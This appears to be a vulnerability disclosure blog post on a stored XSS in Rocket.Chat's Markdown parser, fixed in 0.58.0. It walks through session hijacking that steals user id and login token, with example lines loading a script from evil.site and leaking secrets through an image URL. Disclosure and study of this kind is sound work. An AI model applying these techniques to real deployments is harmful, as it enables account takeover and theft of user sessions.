Recently, we’ve observed a strange behavior of the chat service platform we’re using for everyday communication – Rocket.Chat. Rocket.Chat allows users to format their messages with Markdown syntax. Among available options, there is inline code syntax – `code`, which will produce the following message:
and ![title](http://url.to.image), which will result in an image with specified title as an attribute of <a> tag.
However, combining those two together results in a very strange output message – ![`foo`](http://bar) will display:
It looked like some fault in parser, so we couldn’t wait to see if we can exploit it…
Let’s take a closer look at HTML rendered from examples above:
`s` is rendered as:
<code class="code-colors inline">s</code>
![foo](http://bar) results with:
<a href="http://bar" title="foo" target="_blank"><div class="inline-image" style="background-image: url(http://bar);"></div></a>
When used together in
<a href="<a href=" http:="" bar"="" target="_blank" rel="noopener noreferrer">http://bar</a>" title="`foo`" target="_blank"><div class="inline-image" style="background-image: url(http://bar);"></div>
In the last example we can see weird things: `foo` was not parsed as a code (it remains unchanged as a value of title attribute), and the http://bar value of href attribute was for some reason converted to a HTML link, causing tag nesting. What’s interesting is that the bar string is treated as an attribute of <a> tag rather than value of href.
We know we can control the attribute name of <a> tag – can we also control the value?
<a href="<a href=" http:="" bar="val"" target="_blank" rel="noopener noreferrer">http://bar=val</a>
Partially – yes. Unfortunately, we are restricted by a few constraints. After a couple of tests we knew the following:
- the value will always end with " suffix
- we cannot use any spaces
- double quote (“) and ampersand (&) characters are escaped to HTML entities (< and > aren’t)
- closing parenthesis – ) is not allowed
// to get rid of
" suffix. One last question is – how to trigger it?
Unfortunately, <a> tag does not accept onload attribute or any other event that would fire automatically. The best option we’ve found was triggering it with onmouseover event and padding the message with random text so it would take as much space on a screen as possible. Our final payload will look like this:
Everything works as expected – after moving mouse over the message we’re redirected to http://evil.site.
Taking a closer look at Rocket.Chat web application shows that user’s session is stored as two values: user id and login token. Both are available in local storage as well as cookies that are not marked as HTTP Only. This makes it possible to create a payload for session hijacking:
This will send the necessary values to an attacker-controlled website. By replacing those values in cookies and local storage, we can take control over victim’s account.
We have an XSS that steals user’s session, but it’s extremely noticeable – redirection would instantly raise suspicions. Our next step is to make it harder to detect. It would be best if we could run external scripts, for example by simply adding <script src="https://evil.site/script.js"></script> to some DOM element. We know we cannot use getElementById since calling a function requires a closing parenthesis. However, we can inspect DOM tree via document.body, document.images, document.links, etc.
After a short research we’ve found out that the last element of
document.images list is
<img> tag with Rocket.Chat logo. If we could replace it with the same image and leak data via URL eg.
<img src="http://evil.site/logo.png?[SECRET_DATA]">, we’d be able to steal session data without any visible changes.
To do this, we can try to modify innerHTML of parent element and replace original image with our own. Session-stealing JS payload will look like this:
This code will force browser to load data from external server with given URL, thus sending secret data to attacker. The only noticeable side-effect of this method could be a short blink when new image is being loaded.
There’s only one thing left – space character between img and src. Fortunately, there is a well-known trick to solve this issue – we can use slash instead of space. The following payload will work:
The bug has been reported to Rocket.Chat’s security team and has been fixed in release 0.58.0.
- July 28, 2017 – reported
- July 31, 2017 – fixed
- August 16, 2017 – Rocket.Chat 0.58.0 released